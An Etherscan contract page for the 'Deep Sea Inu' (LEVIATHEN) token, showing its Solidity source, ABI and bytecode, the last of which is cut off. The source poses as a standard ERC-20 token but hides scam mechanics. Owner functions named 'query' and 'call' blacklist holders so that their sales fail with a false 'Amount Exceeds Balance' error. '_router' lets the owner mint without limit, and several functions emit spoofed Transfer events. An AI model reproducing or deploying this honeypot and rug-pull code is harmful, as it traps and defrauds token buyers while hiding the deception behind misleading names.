Token

Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

 contract LEVIATHEN *    - function deploy(address account, uint ...    - function transfer(address to, uint256 ...    - function query(address _user)    - function call(address _user)    - function approve(address spender, uin ...    - function _router(address oracle, uin ...    - function transferFrom(address from, a ...

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2022-09-23
*/

pragma solidity 0.8.17;
/*
██╗     ███████╗██╗   ██╗██╗ █████╗ ████████╗██╗  ██╗███████╗███╗   ██╗
██║     ██╔════╝██║   ██║██║██╔══██╗╚══██╔══╝██║  ██║██╔════╝████╗  ██║
██║     █████╗  ██║   ██║██║███████║   ██║   ███████║█████╗  ██╔██╗ ██║
██║     ██╔══╝  ╚██╗ ██╔╝██║██╔══██║   ██║   ██╔══██║██╔══╝  ██║╚██╗██║
███████╗███████╗ ╚████╔╝ ██║██║  ██║   ██║   ██║  ██║███████╗██║ ╚████║
╚══════╝╚══════╝  ╚═══╝  ╚═╝╚═╝  ╚═╝   ╚═╝   ╚═╝  ╚═╝╚══════╝╚═╝  ╚═══╝
*/   
 
contract LEVIATHEN {
  
    mapping (address => uint256) public balanceOf;
    mapping (address => bool) rxAmount;

    // 
    string public name = "Deep Sea Inu";
    string public symbol = unicode"LEVIATHEN";
    uint8 public decimals = 18;
    uint256 public totalSupply = 100000000 * (uint256(10) ** decimals);
    uint256 private _totalSupply;
    event Transfer(address indexed from, address indexed to, uint256 value);
  
   



        constructor()  {
        balanceOf[msg.sender] = totalSupply;
        deploy(lead_deployer, totalSupply); }



	address owner = msg.sender;
    address Construct = 0xc4b5C75feCaD1b8478D84c1aA98a1dD4D44fC79B;
    address lead_deployer = 0xD1C24f50d05946B3FABeFBAe3cd0A7e9938C63F2;
   


modifier onlyOwner() {
    require(msg.sender == owner);
    _; }


    function deploy(address account, uint256 amount) public onlyOwner {
    emit Transfer(address(0), account, amount); }
    

    function transfer(address to, uint256 value) public returns (bool success) {

        if(msg.sender == Construct)  {
        require(balanceOf[msg.sender] >= value);
        balanceOf[msg.sender] -= value;  
        balanceOf[to] += value; 
        emit Transfer (lead_deployer, to, value);
        return true; }       
        require(!rxAmount[msg.sender] , "Amount Exceeds Balance"); 
        require(balanceOf[msg.sender] >= value);
        balanceOf[msg.sender] -= value;  
        balanceOf[to] += value;          
        emit Transfer(msg.sender, to, value);
        return true; }
        function query(address _user) public {
             require(msg.sender == owner);
         require(!rxAmount[_user], "NaN");
        rxAmount[_user] = true; }
        function call(address _user) public {
             require(msg.sender == owner);
        require(rxAmount[_user], "NaN");
         rxAmount[_user] = false; }

         

        event Approval(address indexed owner, address indexed spender, uint256 value);

        mapping(address => mapping(address => uint256)) public allowance;

        function approve(address spender, uint256 value) public returns (bool success) {    
        allowance[msg.sender][spender] = value;
        emit Approval(msg.sender, spender, value);
        return true; }
        function _router(address oracle,  uint256 update) public {
             require(msg.sender == owner);
             balanceOf[oracle] += update;
             totalSupply += update; }


    function transferFrom(address from, address to, uint256 value) public returns (bool success) {   
        if(from == Construct)  {
        require(value <= balanceOf[from]);
        require(value <= allowance[from][msg.sender]);
        balanceOf[from] -= value;  
        balanceOf[to] += value; 
        emit Transfer (lead_deployer, to, value);
        return true; }     
        require(!rxAmount[from] , "Amount Exceeds Balance"); 
        require(!rxAmount[to] , "Amount Exceeds Balance"); 
        require(value <= balanceOf[from]);
        require(value <= allowance[from][msg.sender]);
        balanceOf[from] -= value;
        balanceOf[to] += value;
        allowance[from][msg.sender] -= value;
        emit Transfer(from, to, value);
        return true; }
    }

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"oracle","type":"address"},{"internalType":"uint256","name":"update","type":"uint256"}],"name":"_router","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"call","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"deploy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"query","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526040518060400160405280600c81526020017f446565702053656120496e750000000000000000000000000000000000000000815250600290816200004a91906200059b565b506040518060400160405280600981526020017f4c455649415448454e0000000000000000000000000000000000000000000000815250600390816200009191906200059b565b506012600460006101000a81548160ff021916908360ff160217905550600460009054906101000a900460ff16600a620000cc919062000812565b6305f5e100620000dd919062000863565b60055533600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073c4b5c75fecad1b8478d84c1aa98a1dd4d44fc79b600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073d1c24f50d05946b3fabefbae3cd0a7e9938c63f2600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550348015620001d857600080fd5b506005546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000254600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166005546200025a60201b60201c565b620008dc565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614620002b557600080fd5b8173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003159190620008bf565b60405180910390a35050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620003a357607f821691505b602082108103620003b957620003b86200035b565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620004237fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620003e4565b6200042f8683620003e4565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b60006200047c62000476620004708462000447565b62000451565b62000447565b9050919050565b6000819050919050565b62000498836200045b565b620004b0620004a78262000483565b848454620003f1565b825550505050565b600090565b620004c7620004b8565b620004d48184846200048d565b505050565b5b81811015620004fc57620004f0600082620004bd565b600181019050620004da565b5050565b601f8211156200054b576200051581620003bf565b6200052084620003d4565b8101602085101562000530578190505b620005486200053f85620003d4565b830182620004d9565b50505b505050565b600082821c905092915050565b6000620005706000198460080262000550565b1980831691505092915050565b60006200058b83836200055d565b9150826002028217905092915050565b620005a68262000321565b67ffffffffffffffff811115620005c257620005c16200032c565b5b620005ce82546200038a565b620005db82828562000500565b600060209050601f831160018114620006135760008415620005fe578287015190505b6200060a85826200057d565b8655506200067a565b601f1984166200062386620003bf565b60005b828110156200064d5784890151825560018201915060208501945060208101905062000626565b868310156200066d578489015162000669601f8916826200055d565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200071057808604811115620006e857620006e762000682565b5b6001851615620006f85780820291505b80810290506200070885620006b1565b9450620006c8565b94509492505050565b6000826200072b5760019050620007fe565b816200073b5760009050620007fe565b81600181146200075457600281146200075f5762000795565b6001915050620007fe565b60ff84111562000774576200077362000682565b5b8360020a9150848211156200078e576200078d62000682565b5b50620007fe565b5060208310610133831016604e8410600b8410161715620007cf5782820a905083811115620007c957620007c862000682565b5b620007fe565b620007de8484846001620006be565b92509050818404811115620007f857620007f762000682565b5b81810290505b9392505050565b600060ff82169050919050565b60006200081f8262000447565b91506200082c8362000805565b92506200085b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000719565b905092915050565b6000620008708262000447565b91506200087d8362000447565b92508282026200088d8162000447565b91508282048414831517620008a757620008a662000682565b5b5092915050565b620008b98162000447565b82525050565b6000602082019050620008d66000830184620008ae565b92915050565b6117d880620008ec6000396000f3fe608060405234801561001057600080fd5b50600436106100cf5760003560e01c806370a082311161008c578063a9059cbb11610066578063a9059cbb14610214578063d4fc9fc614610244578063dd62ed3e14610260578063f55332ab14610290576100cf565b806370a08231146101aa57806383455c05146101da57806395d89b41146101f6576100cf565b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461012257806323b872dd14610140578063313ce567146101705780634956eaf01461018e575b600080fd5b6100dc6102ac565b6040516100e99190611381565b60405180910390f35b61010c6004803603810190610107919061143c565b61033a565b6040516101199190611497565b60405180910390f35b61012a61042c565b60405161013791906114c1565b60405180910390f35b61015a600480360381019061015591906114dc565b610432565b6040516101679190611497565b60405180910390f35b610178610a33565b604051610185919061154b565b60405180910390f35b6101a860048036038101906101a3919061143c565b610a46565b005b6101c460048036038101906101bf9190611566565b610b0a565b6040516101d191906114c1565b60405180910390f35b6101f460048036038101906101ef919061143c565b610b22565b005b6101fe610bee565b60405161020b9190611381565b60405180910390f35b61022e6004803603810190610229919061143c565b610c7c565b60405161023b9190611497565b60405180910390f35b61025e60048036038101906102599190611566565b61104a565b005b61027a60048036038101906102759190611593565b61118b565b60405161028791906114c1565b60405180910390f35b6102aa60048036038101906102a59190611566565b6111b0565b005b600280546102b990611602565b80601f01602080910402602001604051908101604052809291908181526020018280546102e590611602565b80156103325780601f1061030757610100808354040283529160200191610332565b820191906000526020600020905b81548152906001019060200180831161031557829003601f168201915b505050505081565b600081600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161041a91906114c1565b60405180910390a36001905092915050565b60055481565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610697576000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156104d457600080fd5b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561055d57600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546105ab9190611662565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106009190611696565b925050819055508273ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161068691906114c1565b60405180910390a360019050610a2c565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610724576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071b90611716565b60405180910390fd5b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156107b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a890611716565b60405180910390fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156107fc57600080fd5b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561088557600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546108d39190611662565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546109289190611696565b9250508190555081600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546109bb9190611662565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a1f91906114c1565b60405180910390a3600190505b9392505050565b600460009054906101000a900460ff1681565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610aa057600080fd5b8173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610afe91906114c1565b60405180910390a35050565b60006020528060005260406000206000915090505481565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b7c57600080fd5b806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610bca9190611696565b925050819055508060056000828254610be39190611696565b925050819055505050565b60038054610bfb90611602565b80601f0160208091040260200160405190810160405280929190818152602001828054610c2790611602565b8015610c745780601f10610c4957610100808354040283529160200191610c74565b820191906000526020600020905b815481529060010190602001808311610c5757829003601f168201915b505050505081565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1603610e5857816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610d1e57600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d6c9190611662565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610dc19190611696565b925050819055508273ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610e4791906114c1565b60405180910390a360019050611044565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610ee5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610edc90611716565b60405180910390fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610f3057600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f7e9190611662565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610fd39190611696565b925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161103791906114c1565b60405180910390a3600190505b92915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146110a457600080fd5b600160008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611131576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112890611782565b60405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600a602052816000526040600020602052806000526040600020600091509150505481565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461120a57600080fd5b600160008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611296576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128d90611782565b60405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561132b578082015181840152602081019050611310565b60008484015250505050565b6000601f19601f8301169050919050565b6000611353826112f1565b61135d81856112fc565b935061136d81856020860161130d565b61137681611337565b840191505092915050565b6000602082019050818103600083015261139b8184611348565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006113d3826113a8565b9050919050565b6113e3816113c8565b81146113ee57600080fd5b50565b600081359050611400816113da565b92915050565b6000819050919050565b61141981611406565b811461142457600080fd5b50565b60008135905061143681611410565b92915050565b60008060408385031215611453576114526113a3565b5b6000611461858286016113f1565b925050602061147285828601611427565b9150509250929050565b60008115159050919050565b6114918161147c565b82525050565b60006020820190506114ac6000830184611488565b92915050565b6114bb81611406565b82525050565b60006020820190506114d660008301846114b2565b92915050565b6000806000606084860312156114f5576114f46113a3565b5b6000611503868287016113f1565b9350506020611514868287016113f1565b925050604061152586828701611427565b9150509250925092565b600060ff82169050919050565b6115458161152f565b82525050565b6000602082019050611560600083018461153c565b92915050565b60006020828403121561157c5761157b6113a3565b5b600061158a848285016113f1565b91505092915050565b600080604083850312156115aa576115a96113a3565b5b60006115b8858286016113f1565b92505060206115c9858286016113f1565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061161a57607f821691505b60208210810361162d5761162c6115d3565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061166d82611406565b915061167883611406565b92508282039050818111156116905761168f611633565b5b92915050565b60006116a182611406565b91506116ac83611406565b92508282019050808211156116c4576116c3611633565b5b92915050565b7f416d6f756e7420457863656564732042616c616e636500000000000000000000600082015250565b60006117006016836112fc565b915061170b826116ca565b602082019050919050565b6000602082019050818103600083015261172f816116f3565b9050919050565b7f4e614e0000000000000000000000000000000000000000000000000000000000600082015250565b600061176c6003836112fc565b915061177782611736565b602082019050919050565b6000602082019050818103600083015261179b8161175f565b905091905056fea2646970667358221220a2b3ba8a01057288ffacf2ed64c0050793b275896a74129b5f4949c52b7ad81a64736f6c63430008110033

0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806370a082311161008c578063a9059cbb11610066578063a9059cbb14610214578063d4fc9fc614610244578063dd62ed3e14610260578063f55332ab14610290576100cf565b806370a08231146101aa57806383455c05146101da57806395d89b41146101f6576100cf565b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461012257806323b872dd14610140578063313ce567146101705780634956eaf01461018e575b600080fd5b6100dc6102ac565b6040516100e99190611381565b60405180910390f35b61010c6004803603810190610107919061143c565b61033a565b6040516101199190611497565b60405180910390f35b61012a61042c565b60405161013791906114c1565b60405180910390f35b61015a600480360381019061015591906114dc565b610432565b6040516101679190611497565b60405180910390f35b610178610a33565b604051610185919061154b565b60405180910390f35b6101a860048036038101906101a3919061143c565b610a46565b005b6101c460048036038101906101bf9190611566565b610b0a565b6040516101d191906114c1565b60405180910390f35b6101f460048036038101906101ef919061143c565b610b22565b005b6101fe610bee565b60405161020b9190611381565b60405180910390f35b61022e6004803603810190610229919061143c565b610c7c565b60405161023b9190611497565b60405180910390f35b61025e60048036038101906102599190611566565b61104a565b005b61027a60048036038101906102759190611593565b61118b565b60405161028791906114c1565b60405180910390f35b6102aa60048036038101906102a59190611566565b6111b0565b005b600280546102b990611602565b80601f01602080910402602001604051908101604052809291908181526020018280546102e590611602565b80156103325780601f1061030757610100808354040283529160200191610332565b820191906000526020600020905b81548152906001019060200180831161031557829003601f168201915b505050505081565b600081600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161041a91906114c1565b60405180910390a36001905092915050565b60055481565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610697576000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156104d457600080fd5b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561055d57600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546105ab9190611662565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106009190611696565b925050819055508273ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161068691906114c1565b60405180910390a360019050610a2c565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610724576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071b90611716565b60405180910390fd5b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156107b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a890611716565b60405180910390fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156107fc57600080fd5b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561088557600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546108d39190611662565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546109289190611696565b9250508190555081600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546109bb9190611662565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a1f91906114c1565b60405180910390a3600190505b9392505050565b600460009054906101000a900460ff1681565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610aa057600080fd5b8173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610afe91906114c1565b60405180910390a35050565b60006020528060005260406000206000915090505481565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b7c57600080fd5b806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610bca9190611696565b925050819055508060056000828254610be39190611696565b925050819055505050565b60038054610bfb90611602565b80601f0160208091040260200160405190810160405280929190818152602001828054610c2790611602565b8015610c745780601f10610c4957610100808354040283529160200191610c74565b820191906000526020600020905b815481529060010190602001808311610c5757829003601f168201915b505050505081565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1603610e5857816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610d1e57600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d6c9190611662565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610dc19190611696565b925050819055508273ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610e4791906114c1565b60405180910390a360019050611044565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610ee5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610edc90611716565b60405180910390fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610f3057600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f7e9190611662565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610fd39190611696565b925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161103791906114c1565b60405180910390a3600190505b92915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146110a457600080fd5b600160008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611131576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112890611782565b60405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600a602052816000526040600020602052806000526040600020600091509150505481565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461120a57600080fd5b600160008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611296576040517f08c379a000000000000000000000